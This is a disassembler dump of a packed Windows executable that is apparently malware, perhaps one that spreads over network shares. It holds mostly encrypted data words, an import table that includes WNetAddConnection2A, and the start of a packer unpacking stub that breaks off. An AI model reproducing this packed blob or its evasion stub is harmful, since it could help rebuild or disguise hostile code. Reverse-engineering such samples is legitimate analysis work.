		dd 303A6F27h, 0C139003Ch, 1A9F8A62h, 3AFA95AFh,	5AFCCF3Fh
		dd 3D9515C2h, 299DD658h, 9833B525h, 0D8D48D68h,	964FE3E0h
		dd 0EA32BD5Ah, 78C0C212h, 4F5B291Bh, 52218D82h,	72FF4DCCh
		dd 0B45C8072h, 998D639Dh, 0E39D502Eh, 2C78B06Dh, 0FE8AD23h
		dd 10A8F16Dh, 4EC0DED6h, 9CF68B7Fh, 7FA3680Bh, 5D04257Bh
		dd 0E0B6F459h, 31464EFEh, 519684BCh, 1FABED01h,	600523C8h
		dd 149BB501h, 0A5F163BAh, 0F9115FCFh, 24C3AAEh,	0A7A5372Dh
		dd 9B7A32AAh, 35A94ED9h, 707480Ch, 0E44FE8BBh, 0ACAC6EE6h
		dd 75848B8h, 52628E5Bh,	0F763C787h, 925C385Fh, 0B95407DDh
		dd 992A490Bh, 0C3E9FDBDh, 0C9B343BAh, 0F268D1F7h, 1BBD436Fh
		dd 6E30046Fh, 0EB1F43E8h, 63B8D90Ah, 0FDDE9314h, 2A14848h
		dd 0BB1AC387h, 0B3B7B17Ch, 7F48C24Dh, 0ACA47741h, 7E60D05h
		dd 0D865C1B4h, 9CA4DA39h, 0CA1B2D4h, 850F23D7h,	0B395EB11h
		dd 25E46498h, 8BD72E00h, 9746E464h, 963BDF20h, 479B2A7Dh
		dd 9AB42692h, 81044F54h
		dd 78CD69Bh, 48DC2491h,	0C5AA0F7Eh, 0EB11155Dh,	0FBFF6904h
		dd 0DC106A3Eh, 7C55C4D3h, 83C8DB2Ah, 0D6886753h, 0A50717E3h
		dd 0EDB75CFh, 3DC29084h, 0A3E2AC63h, 1CEF089Fh,	1171E482h
		dd 0B508ADE2h, 4AF7B25h, 4E788288h, 0F999572Ah,	7B8BD651h
		dd 0B6EFFCFEh, 16FB25E4h, 860FC377h, 2AFD0DBEh,	20695B33h
		dd 1CB91670h, 59634444h, 0E612162h, 0C15AC725h,	26CB6A7Ch
		dd 80840A50h, 0BB112115h, 88012487h, 21C8C55Bh,	4119912Ch
		dd 0B7AA0364h, 0CBB84494h, 378A0848h, 0EB2C5A52h, 0C2E51A4Ch
		dd 0F0A408E0h, 0CAB38CE6h, 6195FA0Ah, 881C7CEBh, 1541D1E6h
		dd 0EB5159F3h, 0AE66636Ah, 59CF4BDDh, 365FFEA8h, 0EC7FE7ACh
		dd 0AC31ED33h, 61F109E3h, 0EB565728h, 634353CCh, 1E52F69Eh
		dd 9370FDB1h, 0E9C4B44Eh, 0A2389C54h, 427D481h,	0F58ED0AAh
		dd 0EFF2BD5Eh, 607E89DFh, 0ABA332ACh, 0A2DA8D4h, 23240821h
		dd 41AC7C98h, 94E17C07h, 17D2BE68h, 1B8D8972h, 1E0E112Dh
		dd 0DDC2057Eh, 0ED80CDD6h, 0DF4DA868h, 0A28406B7h, 9E222702h
		dd 2384E251h, 79D7A6F5h, 48E44C34h, 6CBECB66h, 7A86FD9Dh
		dd 0D7FC21B6h, 40055E59h, 3C309739h, 32B03C2Bh,	22E6257Eh
		dd 8981F81Ah, 0D1240252h, 6CC5D5CCh, 0D3649223h, 73047CFBh
		dd 0C6CB351Ch, 39C1C522h, 98D43B54h, 0A55A20E2h, 964BBD0Fh
		dd 48798DD7h, 9EBA5C83h, 0B205939h, 0EA7E6C3Eh,	1057C7E6h
		dd 0AC938E99h, 25CC0899h, 0B9FDEC2Fh, 0E1A0926Dh, 0E5206F0Fh
		dd 0EE75C72Bh, 6C432C2Ah, 0C98E7470h, 0A0BF4EE4h, 97BF0CD6h
		dd 0ABD4AD5Bh, 7464EB8h, 1AAD13FCh, 0A826683Dh,	0F7FED207h
		dd 0B7306895h, 269C4B01h, 896F580Ah, 0A9A112F4h, 0C65F6226h
		dd 67C42FECh, 58E938C3h, 369A89B7h, 0F49362FAh,	0C2DC3856h
		dd 0B9731DB9h, 5492519Dh, 0B68D1193h, 3A343BA8h, 0B9D1921Eh
		dd 0B7D2690h, 7BAFAEE8h, 5FE2795Bh, 9953DBA9h, 12D9F527h
		dd 0BF2BCA60h, 0C9A894CFh, 24DA8106h, 65C31A7Dh, 0E0768BEEh
		dd 17174A3Dh, 0C4C11B47h, 67043797h, 13C14CD3h,	0CE399B97h
		dd 0A18EB994h, 0AD98F6B0h, 0B1BB3531h, 23DC1276h, 5778EA7Fh
		dd 8B6CAD4Ah, 0AC0558E7h, 1F5CADF3h, 0F1251133h, 7FB015FAh
		dd 0C54C8376h, 37016B90h, 0FDAEDEA1h, 1C25140Ah, 5ECB5335h
		dd 2E02A842h, 0BF5ACB61h, 3F09749h, 7E10ED9Eh, 0BAE5E4CBh
		dd 0C1CC463Bh, 0C23FC0B4h, 57DED441h, 85724393h, 930E10F4h
		dd 0B33A7478h, 0B2957F9Ah, 68162D0Eh, 0F521D6EAh, 63C43BDh
		dd 5572A457h, 0AB6BE809h, 211C1CABh, 0AE38F6DEh, 55EC49E8h
		dd 0F16E50E7h, 6A504E81h, 68984C6Ah, 0ABBEC815h, 60C53690h
		dd 0C202D524h, 0A089FE1Ah, 7AD0B942h, 9D1C02ABh, 2D2AEB83h
		dd 84A69B55h, 0B68B7359h, 2FF24C49h, 8D46A98Fh,	4BECD17h
		dd 58B99569h, 23E37E74h, 0A6A4D1F4h, 4C60FFE5h,	70107713h
		dd 20F64B7h, 8809FD93h,	93EA3B8Bh, 460DDE57h, 39995645h
		dd 0BAA292CEh, 53C42DCBh, 0DDA0CA4Bh, 8A4C6A30h, 1ACAC122h
		dd 0BB3F1C8Ch, 0BFBBB4C7h, 41C32031h, 0C9036350h, 0CDA432D7h
		dd 0F7C36E42h, 1B4BFEFEh, 45129138h, 0E4BA4477h, 33CF55A6h
		dd 94F31ADBh, 0BDF51C7Ch, 11852130h, 0BAAE0352h, 0C54BB347h
		dd 1122F4F5h, 6518C22h,	0CF49F049h, 39CCA3DEh, 0DE4D7E30h
		dd 0C0C3629Bh, 7ED0F4CEh, 106EA613h, 0A1863854h, 0DEBB35DBh
		dd 8ED9A961h, 6CED750Fh, 3653C55Ah, 0DC7CC9E3h,	3880A1ABh
		dd 927CB9E7h, 0A5EEBEFh, 412BE410h, 87A82C3h, 8B55F3CFh
		dd 6C9A5A46h, 8E86FD01h, 53492D2Ah, 0B9600626h,	0B969AAE2h
		dd 0E11160ECh, 11F8862Ah, 9A7AB7A7h, 284DE545h,	53CBAC37h
		dd 0BF96F04Ah, 7BA64B89h, 672ABE4Fh, 43F92251h,	0B0223AE4h
		dd 0D18634D2h, 0B9F2ED74h, 0CBF03C80h, 0D40CD96Ah, 77DF912Dh
		dd 0F9962469h, 3A2526BAh, 0D2C3CF3Fh, 74727B78h, 0F5E9FFD6h
		dd 0E6E2EF37h, 856C3337h, 0DA4CC8B2h, 4633083Bh, 84D151DBh
		dd 0D1B11462h, 0F8DA2162h, 0B8CFEE34h, 1A649272h, 0A94FE473h
		dd 4F97996Eh, 89391F97h, 78421703h, 0FEEF76BFh,	7597EA81h
		dd 0A503C8A1h, 0E89E5CFBh, 0E5D07523h, 0A9393D3Bh, 324E4DCAh
		dd 9F4E817Fh, 0D9EF5AA7h, 548DCA1Ch, 0A0D7AA69h, 1EDAFBB1h
		dd 0FF1638FFh, 0FFB76E73h, 0F7A7E2B4h, 4146FEDh, 242D5665h
		dd 4FE56B36h, 580E3905h, 84CA9E3Dh, 8B16A59Fh, 7B3D366Dh
		dd 2E458E2Eh, 8FE076D5h, 0B26240Ah, 0B366E562h,	0EDAC802Dh
		dd 0A766F54Fh, 0FE841DEFh, 0B7D072E0h, 18785694h, 395B77CFh
		dd 5E902F4Bh, 0E628EFB7h, 0D127BF5h, 1D606A34h,	0E75181E7h
		dd 1B31EC6Bh, 703E4AECh, 0F2489002h, 3CE5DD17h,	69F4E25Eh
		dd 9E553F0Fh, 2DD696C8h, 34354DDCh, 0D4C7FA63h,	29F1A2C5h
		dd 0A823FDDh, 0FB7FC62Ch, 27B2388Fh, 9850ED25h,	0C3DE465Fh
		dd 0BB4FA558h, 20B45039h, 0DE8F8718h, 94492832h, 0C00015Eh
		dd 780413B6h, 58A28C95h, 90814565h, 0F5985AE7h,	0BEE8EF04h
		dd 0EBED445Eh, 39D81919h, 331E4EF2h, 39CD5341h,	7C5C6B9Eh
		dd 2CBF5B0Ch, 74991A12h, 9BA09141h, 325C7BC3h, 94EC58FFh
		dd 2E25491Dh, 5EE3D85Dh, 77796FF9h, 0F502E923h,	0DEE2D50Dh
		dd 8913C4ACh, 723A879Ch, 0CB5A86AAh, 3FFC558Ah,	0F0A9A7Ah
		dd 0F3C0E6Fh, 1894D73Ch, 6231C00Ch, 66B0466Ah, 9FD12AD7h
		dd 0F029C584h, 16FFDF8Ah, 711BCC4Ch, 26F776C9h,	97F0E89Dh
		dd 135E7372h, 0BB06B682h, 0B4F018D1h, 83032620h, 75F4E69Ah
		dd 0AB98EFAFh, 276A2FB1h, 74DED5Ah, 0F79FBF98h,	7A40C085h
		dd 320E5E84h, 4946CDBAh, 0CFC3931Eh, 0AF38054Ah, 0A684083Dh
		dd 0FD1446B2h, 0BF52C694h, 0E7E2082Eh, 0D3F1B34Fh, 618DFE32h
		dd 55DEE301h, 8D46CCDBh, 4E211197h, 69E93297h, 0FF1EEB09h
		dd 3C4822ECh, 584887C7h, 0FDBFA1BEh, 0BEE80788h, 324E0ABBh
		dd 8DD41C70h, 6ABD9022h, 0FC1CFAAAh, 0BABA90C2h, 7F332122h
		dd 6A12D2AEh, 25C4642h,	0F72ECE6Eh, 35029DFCh, 990E2D4Dh
		dd 76F88F7Fh, 0FAD14A60h, 0F6D4307Dh, 75507708h, 0AB036780h
		dd 0D5FCC15h, 1DAE4E8Bh, 1F25C219h, 0E0A1C873h,	0D62F97EAh
		dd 351057F6h, 4621F2EDh, 0ED8F90Ah, 1C8F88B7h, 0E69E1973h
		dd 390899C6h, 7F7D287Eh, 858C02ABh, 0EA192F20h,	598A257Dh
		dd 14B490D9h, 48672C3Eh, 0AFB8473Fh, 1C5AAF50h,	394E74F1h
		dd 0B41B8A6h, 3CBC09Eh,	0CA36840Bh, 7FC67D3Ah, 813E1CBCh
		dd 60D01CFAh, 0C5C49634h, 0D8A393C0h, 0C9CFA53Ah, 17E4CCDEh
		dd 4891B0ADh, 3391742Dh, 6A02ED5Bh, 0BE29786Eh,	0CF255AA1h
		dd 97F9CD8Eh, 51E64142h, 272FAEACh, 0A6BCF8EAh,	0E41FF26Fh
		dd 9F56CA53h, 25E6FEB6h, 952FD1C0h, 11627560h, 779DA897h
		dd 87E19E64h, 0CD46A45Bh, 1A2F7937h, 3B828F96h,	5D98DA6Bh
		dd 6CC88AC0h, 0BEE947F9h, 81CA1FEFh, 7451B87Ah,	762BB1D1h
		dd 0FDC30E9Eh, 26255834h, 70504E2Ch, 40611279h,	569C328Bh
		dd 5B62EBE2h, 0AAC8AE2Bh, 6B88C80Ch, 7209CCC5h,	99CC81F3h
		dd 20D229BBh, 1AB3DD61h, 0A51A34DCh, 0F3FC0643h, 4B011C6Eh
		dd 764CC2D9h, 87E468D7h, 830F42CDh, 616C7A1h, 0DA3CFF98h
		dd 5A9C377Dh, 3753B0Fh,	1ADAB60Ah, 0A80A015Bh, 4F5E0ADAh
		dd 0D13D6DFCh, 1069A04Ch, 37619AF6h, 260EA34Ch,	4054E40Eh
		dd 0E1BF23EDh, 0C395F0DBh, 0BBD68E10h, 0E081A681h, 116E92B7h
		dd 38F7625Eh, 0FD873F1Eh
		dd 3A992637h, 36C85130h, 26AA0B64h, 631CC8F8h, 0CC858B6h
		dd 5CAA883h, 63CC7001h,	92C9FB63h, 0DCBE98F2h, 0A1B04768h
		dd 0B63F71h, 6C39CE03h,	9F67462Eh, 0E3071A3h, 0A6A6EEA3h
		dd 3232149h, 2FE8F32h, 0F1499E49h, 0EC0C5225h, 0C6BBA460h
		dd 0F23C2305h, 0C3B94F1Ch, 0B1D0F618h, 5DED77D1h, 0B39B937Eh
		dd 9BDBAC26h, 3539484Ch, 0C5B57AD4h, 0E81D49F6h, 0CA1E16DDh
		dd 191922B0h, 3F99DDE9h, 8E1DAD2Ah, 973C252Fh, 5BD879ADh
		dd 0AEA5CD77h, 8EB9B83Eh, 0EDCFDC5Dh, 1DCF185Eh, 6E34F811h
		dd 0CACF3CAEh, 85D8AEBh, 0DE5F0F6Eh, 820D03F5h,	2F156115h
		dd 0C8AF8008h, 0C81D9C3h, 49B84F5Ch, 0DF1B798Ch, 5335076Bh
		dd 0BFB6D747h, 0C18878ABh, 60B927D1h, 0A73F0571h, 31B3463h
		dd 0B67843CEh, 0A1C13E96h, 75E48D3Fh, 0FA8D8C35h, 0FCA1958Fh
		dd 6D1E373h, 0E3557D12h, 4BAA75F5h, 0F479C96Bh,	6C53855h
		dd 4C22C40Eh, 0F9EBDE4Fh, 9C874D20h, 98C0306Fh,	3D2BBE7Bh
		dd 0CDF060FDh, 0AE351F45h, 0D8616099h, 1299C5E6h, 4B70B7D4h
		dd 37A4B7Dh, 0CCD16F58h, 6254BC50h, 0ED9E3B5Ah,	544B8136h
		dd 279B7992h, 0AF1B36E8h, 66B201A3h, 77017E61h,	7DEAD966h
		dd 0F0B7575h, 0C14488B1h, 0AED2959Dh, 589C5AE8h, 4CE8C482h
		dd 3EEF99FCh, 0B7FEAC9Eh, 51CDB063h, 0B0D0C0BBh, 0D1FC0C68h
		dd 4D1D6382h, 55B482E3h, 0AD7CDFC0h, 0A5A48053h, 4068B528h
		dd 0BA1A864h, 0BFA06EA4h, 5D74A1Eh, 0B99DA018h,	0C9FFBAB4h
		dd 3B7DD890h, 8BD88192h, 0A123304Bh, 0A9B1CEEFh, 78F5EC08h
		dd 0A309FB66h, 0A113DDC3h, 0C34DCE7Eh, 507A33F3h, 0F45E5923h
		dd 9CA2A39Ah, 0EDBBEB1Dh, 48CE5ED1h, 86816F47h,	9722A65Bh
		dd 289F3FC6h, 0B61E6C6h, 59539DDEh, 0CF843E19h,	97573FC0h
		dd 0F50A4FCFh, 26084DF9h, 14E8808Dh, 17CDC867h,	0D5B78420h
		dd 0D7613F89h, 0C7ECB9Fh, 3606ABF4h, 4128980Eh,	6A8467B2h
		dd 5C662BF5h, 0F2C1A08Ah, 0AF7B802Ah, 0CE8924F4h, 0BA4B666h
		dd 1461F3D1h, 0D66C5F2Dh, 0A60E462Dh, 0B964596Ch, 93638D28h
		dd 0F025A0D3h, 0FF5B9F41h, 0B6EAFE59h, 454B8A71h, 0E138FBCCh
		dd 0C86E61E0h, 0F7246956h, 0D7B03944h, 221EE109h, 3A0A4D61h
		dd 0B081BE5Eh, 7DDCB55Bh, 617CDFA0h, 671B74A2h,	52C83624h
		dd 79A4F21Bh, 5F188646h, 79620F12h, 0D64680A4h,	3738ADA3h
		dd 0C79DDCB9h, 0FA7D21Eh, 836E04A1h, 0D3153365h, 65D45F7Bh
		dd 530D22A5h, 7D4B1A6h,	0CB024EBFh, 0F0E7336Eh,	5ADF5ECDh
		dd 0D08821C0h, 0F27A8E99h, 46DF9B7Ah, 20F772F4h, 96DB98CFh
		dd 0AF108C8Eh, 6FAE43ECh, 22283B07h, 39C80604h,	0F758D957h
		dd 0F3D4F5B3h, 0EEB3120Ah, 0F8AB6AE3h, 4657ADDDh, 684E02Eh
		dd 2C03E847h, 26D648AAh, 6A8A3713h, 0BA308616h,	0DA20574Bh
		dd 993E043Eh, 0CBB0E626h, 41BC9A0Ch, 72E8B42Fh,	9FFD15Ch
		dd 9620DAC8h, 0AFE3A838h, 1EE2A5FCh, 0A143BA59h, 0A21B8F0Ch
		dd 0E4EC4B89h, 1A70BFBCh, 67060C14h, 0F341C9E2h, 5EEF448Dh
		dd 0A38A0918h, 45D56180h, 248B12D2h, 4816131Eh,	0BCC52E8Ch
		dd 0B59A4953h, 0D05EBE77h, 48CC693h, 231B1F5Eh,	51786E79h
		dd 22A61370h, 21FBC085h, 0D4A7DCDBh, 41A1BEEFh,	9A6BE7A8h
		dd 7DEA33C6h, 77C4AC44h, 5E75F94h, 0D3791593h, 0F061BE6h
		dd 0CCB4EC02h, 609F334Ch, 3EC8DE11h, 763327FFh,	0C9416FD5h
		dd 0D0332F1Ch, 0C6721571h, 0A434A15h, 65F6E0C3h, 0B6DB84E3h
		dd 989183ADh, 32764441h, 29DA8363h, 897672F1h, 0E813148Fh
		dd 6A949515h, 7CFED957h, 0AD915BAFh, 2E59CD07h,	7A4579EBh
		dd 84F7F275h, 3532E32h,	4E1231B4h, 6C70B120h, 0DF1967A4h
		dd 6B1B8DBBh, 6B2EB1D9h, 8D2A593Eh, 8F6FA1C6h, 9A2CE1ACh
		dd 3872721Fh, 97E8AD14h, 50039A02h, 0D16A767Ch,	54FF2F89h
		dd 99E32D1Fh, 0F1F34553h, 7ED45931h, 1F364DE8h,	0EB5352E9h
		dd 2A79E776h, 4B0EF5Ah,	8DF584E7h, 7763DF03h, 0CE32A806h
		dd 0BE828F00h, 5B7BE677h, 0C5462482h, 35824CD7h, 0A0C23B9Ch
		dd 96D94202h, 788B6CF4h, 3F459F07h, 0EA57B25Dh,	74A591F1h
		dd 4CCB48ADh, 69B3A7FBh, 88A98943h, 47A93F35h, 0AD125A22h
		dd 9A38DADAh, 11612D90h, 0C4EE1E1Ah, 0D108F318h, 0AFCC249Ah
		dd 70716DD5h, 82C789CFh, 0EB9640DEh, 6DA63E53h,	0D7EA7501h
		dd 2B5FD0AFh, 65860B5Dh, 0CD7A15BDh, 0B1BB416Fh, 8B5D9651h
		dd 0AFC16DD7h, 0CECCD76h, 53170657h, 0DB45E587h, 232FE8D3h
		dd 77B9843Eh, 0E7FCB628h, 9140E872h, 0A5C5F91Dh, 0B89FF9E7h
		dd 177ACC8Ch, 0FE9430D6h, 3B9EEAC1h, 6D59FE99h,	871C437Eh
		dd 694A0BEEh, 0D138EC02h, 0B3C1F397h, 1D06824Fh, 67EA71B4h
		dd 56168F07h, 0F02BC484h, 83AC74D4h, 920410B2h,	57D016F1h
		dd 41460F98h, 0C451412Fh, 3C0C14A3h, 4352A8F8h,	7094ABC4h
		dd 5828B69Ah, 3519B7Bh,	0DC93461Ch, 0F52032F1h,	5D328190h
		dd 0F450CECEh, 1CB5CE0Bh, 28C103DCh, 18606990h,	271C511Fh
		dd 0C9A042E6h, 4E0553ABh, 9C85EEAh, 0EAE2EB37h,	0B51EA76Ah
		dd 0FE33DF5Bh, 67213B4h, 981954CAh, 0B78B73B2h,	0C6696918h
		dd 0D4E1C0D4h, 7E82021Fh, 6DCB9EF7h, 0D734F008h, 0E74DEAB9h
		dd 2DDAA5CEh, 24E2B339h, 0C4A1B996h, 12DFE01Ch,	0AE78A0ECh
		dd 0E98410DAh, 0BE29A065h, 0EEB11A9Fh, 0E6077C51h, 4900044h
		dd 8CCDBD6Fh, 0B4F82F54h, 173985C5h, 5E03282Bh,	8C62F58Bh
		dd 0BA57F88Ah, 3313D623h, 5643DD00h, 665DEB54h,	16F2E8B8h
		dd 9A3D1F0Fh, 0CB45837h, 0D97764E7h, 963B1DFAh,	744D7B34h
		dd 7F590F72h, 5FE78C8Eh, 0CFB0C075h, 0F0B42EE9h, 42276BEAh
		dd 4C573A75h, 6646AC92h, 5D969DB1h, 8ECF1A6Dh, 3BF4BAC9h
		dd 0DA8FC1FBh, 0E0D97D4Ah, 8EBF2451h, 5BC36EAEh, 5397D5DCh
		dd 0E556047h, 0EF47820Eh, 0A95416E9h, 0F49AD3E3h, 9D76F7C6h
		dd 87683014h, 866CD3B2h, 0E7FC5305h, 0B06B3663h, 357266C6h
		dd 0B2D763A5h, 94D6C9C4h, 24819AE5h, 6471B9Ch, 0B2B2CFA2h
		dd 0FB916DA3h, 7EB9ECDEh, 5409FDE2h, 6F93C265h,	5694D2BAh
		dd 0FF4A6D64h, 3E380E97h, 830B83A2h, 796C422Eh,	26C62E65h
		dd 37B8779Bh, 6385A3BBh, 220B99EBh, 7431201h, 7AD54765h
		dd 0D1FE876Ah, 92F91B11h, 2AFC6778h, 0D67F6963h, 0DD0F1061h
		dd 0E724BCECh, 759835F7h, 0EA2875E3h, 65C2A7F7h, 594DB324h
		dd 3928D809h, 17A7A2A8h, 0F748C04h, 59F35390h, 563C439h
		dd 6BE84819h, 6E0B518Dh, 0EFA418A3h, 0F7DFF29Eh, 3E4AC569h
		dd 29BE42FDh, 0A2A854E1h, 0A9D661D3h, 78B337BFh, 56D2E0AAh
		dd 0A872351Bh, 0F2FC0E3Eh, 0B47D18B0h, 681592BEh, 0DCF47FD6h
		dd 0DEC6C54Ch, 86214BF8h, 782A906Ah, 16830CDAh,	4B174D94h
		dd 1BDC1B59h, 95F68316h, 7D202CEBh, 5A2CC51Dh, 0CAB56C6Eh
		dd 0C60B5C64h, 0EF30A1D0h, 9C2F460Fh, 7BE2EE6Eh, 0CE8FF90Ch
		dd 6B9FF10h, 9C808617h,	0D1F78879h, 8F77F800h, 0FE0540BFh
		dd 6C9D0737h, 82F1FBBEh, 6294FD40h, 3C1C34B3h, 0EC5989C8h
		dd 0C8DF066Dh, 0EE0EEE6Ch, 0AD836A88h, 90456D04h, 7F5F6D00h
		dd 56B3BA8Ch, 1AA4DCDFh, 0EEDC07E2h, 5ACA90F9h,	0F71883F2h
		dd 1C38F4F5h, 0F60F914Bh, 0D3FD6B6Ch, 335E511Bh, 9EF4B2B5h
		dd 15AD6A13h, 0EB77F299h, 0FEAAACBDh, 0C0777582h, 0E142B6F4h
		dd 0D6000043h, 0BA418E7Bh, 323BB871h, 5B3CC76Eh, 43064ED5h
		dd 0C39803F7h, 9FD1A62Ch
		dd 790D49F6h, 0A5B3C6A9h, 0EAFE7E09h, 0B26F93DEh, 49A73F8Ah
		dd 1DAD0EF8h, 2FD40095h, 0EBBE411h, 21318321h, 1CE04B8Bh
		dd 0CF21A424h, 0C0412C88h, 332D66CCh, 9751A75Fh, 78005DCAh
		dd 71DADB34h, 0B6EE62A5h, 378E0693h, 78179B23h,	9628EF22h
		dd 1A07CDBEh, 8823AB5Eh, 0EBFD0334h, 9FF9A26Ch,	32B48311h
		dd 2A01F2F8h, 0ECB61665h, 26C21C27h, 6D539A6Fh,	0FEF7FC91h
		dd 0C615EB6Eh, 21082155h, 0CE1573h, 5B1F5F39h, 2336D849h
		dd 12D0C4D4h, 15118870h, 3A4AD4D5h, 3DED261Fh, 3417154Fh
		dd 72DA60h, 6675ED13h, 0B34BC36h, 0B037D02Bh, 6A27E4D6h
		dd 0AF38BE4Fh, 7598D5EAh, 0C95F117Ch, 86B52DEEh, 1833948Dh
		dd 84AFAD94h, 0FFEFBF0h, 3C5F913Dh, 7829C64h, 8C85317Dh
		dd 883978C4h, 5B94F7BBh, 742C9DEEh, 630CACD0h, 0EC54D6AEh
		dd 0CB6403C0h, 1D8FA1BDh, 8F8B8287h, 0C92585D3h, 0BAECBBE7h
		dd 0B0D7A8C4h, 7312CF5Bh, 0BC87C2B2h, 0CEC94405h, 368574Bh
		dd 82E429B9h, 9AC54619h, 55848A16h, 3952A6DEh, 6FEE3FAAh
		dd 0A60EF70Eh, 7104F32Fh, 0FCBB983Fh, 5C3197CBh, 0BCE09AC7h
		dd 4E000E6Eh, 0AB5ADE52h, 9323737h, 86808195h, 4F6C42E8h
		dd 84DA9510h, 8705578h,	0A66239D6h, 3EEB819Dh, 0D955EA77h
		dd 0E6CF097Ch, 0EA9C3EE4h, 7B3FF560h, 44BBD378h, 640AFC7Fh
		dd 8057AA04h, 31B6B3D1h, 0CB49B9EAh, 9F201AFDh,	1940E256h
		dd 7C9F6848h, 1EF62C76h, 45C73CA3h, 28F44CCBh, 0A6B40AC1h
		dd 0BBE38D8Ch, 0C2DEE13Eh, 873F60Eh, 4C9088D5h,	27CAC84Dh
		dd 71D8D7AAh, 308F5074h, 931C7BA2h, 1772FC80h, 0CE2EEEC7h
		dd 625CD3F0h, 58FCD6C1h, 0A61A2C82h, 0A4CDA561h, 0DCA2BA03h
		dd 5F089332h, 82EAF031h, 3B8FE027h, 8849AAA6h, 83B1694Ch
		dd 1A6929DFh, 8C9E9095h, 29CC6544h, 0E77973B0h,	0D2E3A848h
		dd 70ED6CECh, 8EAA7D9Fh, 245FEA37h, 32E2E876h, 0CCA4971Bh
		dd 0C1D1FDC7h, 7A51CDE0h, 1398B7B8h, 0C9925BAEh, 3A15240Ah
		dd 39B97C6h, 0D253E796h, 0FC9DCDC7h, 99706DFh, 0DC58EA0Ah
		dd 81E902B6h, 9B308905h, 9404ADDh, 5FDF43C5h, 152EF5D6h
		dd 0A7AC5977h, 1428D2A5h, 4739A6F9h, 925BC4B8h,	28DAE88Dh
		dd 2A0A6FD3h, 0E9885382h, 45873712h, 4D577508h,	0ABB38CF3h
		dd 65827001h, 0E9138B7Dh, 0A9097DE7h, 8073E569h, 0CAD7C0CEh
		dd 0E31A2467h, 5E88705Eh, 4E8B3269h, 56A84DF0h,	65DE3A04h
		dd 4C9760BAh, 0A4A0D5DFh, 9AF21A01h, 0A5438A39h, 448DAE5Fh
		dd 2E279369h, 0B002D223h, 112E0791h, 33C7BEADh,	0E0D93B3Dh
		dd 68E180F1h, 7304882Ch, 581AA5F6h, 3022571Dh, 79CA2F72h
		dd 30137CADh, 723DD86Eh, 368CE34Ah, 0B493A901h,	6A04932Dh
		dd 0EB42DF15h, 0EC39F56Fh, 2F212140h, 3A477726h, 120004ADh
		dd 57497394h, 77D7E00Fh, 0D98A7469h, 4082FCAAh,	0B350BD0Eh
		dd 0C008FC70h, 0D8252C0Ah, 107CA820h, 0ACC3626Dh, 19640382h
		dd 47874653h, 8CB6B0AFh, 856DCE6Eh, 9368A969h, 0E9AC20AFh
		dd 5D82437Eh, 50D6FAEAh, 79D18145h, 6A8B7AA1h, 0FB23BF20h
		dd 18BC1FC7h, 7D0CA319h, 82822EADh, 0DF466587h,	137D5DE6h
		dd 0E89E63C4h, 30CBD44Eh, 0AE6D06F8h, 0D38B7815h, 0CCA2FAEDh
		dd 0E6EC83E0h, 6F61B4F9h, 78D87CFCh, 2F2C41F3h,	0BA236E98h
		dd 0B69F733Eh, 0D74D7616h, 40BE53DCh, 92D8A36Ah, 0D9CDE79Ch
		dd 0B62E1F90h, 85BD4948h, 5C0FB203h, 1C2709F7h,	500h dup(0)
		dd 14h,	0
		dd 0E39FCh, 1D77A1A0h, 0C7C80h,	12h, 0Dh, 0E3AF5h, 71B2517Fh
		dd 120013h, 150000h, 3AFD0000h,	46C9000Eh, 571ABh, 12h
		dd 20h,	0E3B05h, 77126AEAh, 120013h, 2D0000h, 3B0D0000h
		dd 2A09000Eh, 0E7C81h, 4 dup(0)
		db  47h	; G
		db 65h,	74h, 50h
		db  72h	; r
		db 6Fh,	63h, 41h
		db  64h	; d
		db 64h,	72h, 65h
		db  73h	; s
		db 73h,	47h, 65h
		db  74h	; t
		db 4Dh,	6Fh, 64h
		db  75h	; u
		db 6Ch,	65h, 48h
		db  61h	; a
		db 6Eh,	64h, 6Ch
		db  65h	; e
		db 41h,	4Ch, 6Fh
		db  61h	; a
		db 64h,	4Ch, 69h
		db  62h	; b
		db 72h,	61h, 72h
		db  79h	; y
		db 41h,	57h, 4Eh
		db  65h	; e
		db 74h,	41h, 64h
		db  64h	; d
		db 43h,	6Fh, 6Eh
		db  6Eh	; n
		db 65h,	63h, 74h
		db  69h	; i
		db 6Fh,	6Eh, 32h
		db  41h	; A
		db 0FFh, 7, 0
		db    0
aAvariantchange	db '€VariantChangeTypeExRaiseException',0
		align 1000h
_nsp0		ends

; Section 2. (virtual address 00100000)
; Virtual size			: 00039000 ( 233472.)
; Section size in file		: 00039000 ( 233472.)
; Offset to raw	data for section: 00100000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp1		segment	para public 'CODE' use32
		assume cs:_nsp1
		;org 500000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 906h, 0
		dd 0FF000h, 0
		dd 400000h, 0
		dd 7C800000h, 7	dup(0)
		dd 980000h, 0
		dd offset sub_401000
		align 8
		dd 1, 0
		dd 108h, 6 dup(0)
		dd 2, 168h, 2 dup(0)
		dd 1, 0
		dd offset sub_401000
		dd 0
		dd 37F3Bh, 3 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h
		dd 7C81CDDAh, 0
		dd 71B2517Fh, 0
		dd 71AB46C9h, 0
		dd 77126AEAh, 0
		dd 7C812A09h, 4	dup(0)
		dd 100150h, 10009Ch, 3 dup(0)
		dd 10015Dh, 1000B8h, 3 dup(0)
		dd 100165h, 1000C0h, 3 dup(0)
		dd 100170h, 1000C8h, 3 dup(0)
		dd 10017Dh, 1000D0h, 5 dup(0)
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 52504D00h, 4C4C442Eh
		dd 32535700h, 2E32335Fh, 4C4C44h, 41454C4Fh, 32335455h
		dd 4C4C442Eh, 52454B00h, 334C454Eh, 4C442E32h, 4Ch, 64616F4Ch
		dd 7262694Ch, 41797261h, 47000000h, 72507465h, 6441636Fh
		dd 73657264h, 73h, 74726956h, 506C6175h, 65746F72h, 7463h
		dd 72695600h, 6C617574h, 6F6C6C41h, 63h, 74726956h, 466C6175h
		dd 656572h, 78450000h, 72507469h, 7365636Fh, 73h
aWnetaddconne_1	db 'WNetAddConnection2A',0
		db    0
		align 2
aVariantchang_0	db 'VariantChangeTypeEx',0
		align 4
aRaiseexception	db 'RaiseException',0
		align 4
		dd 100000h, 0F4A2F900h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 005005ED SIZE 00000009 BYTES

		pushf
		pusha
		call	$+5
		pop	ebp
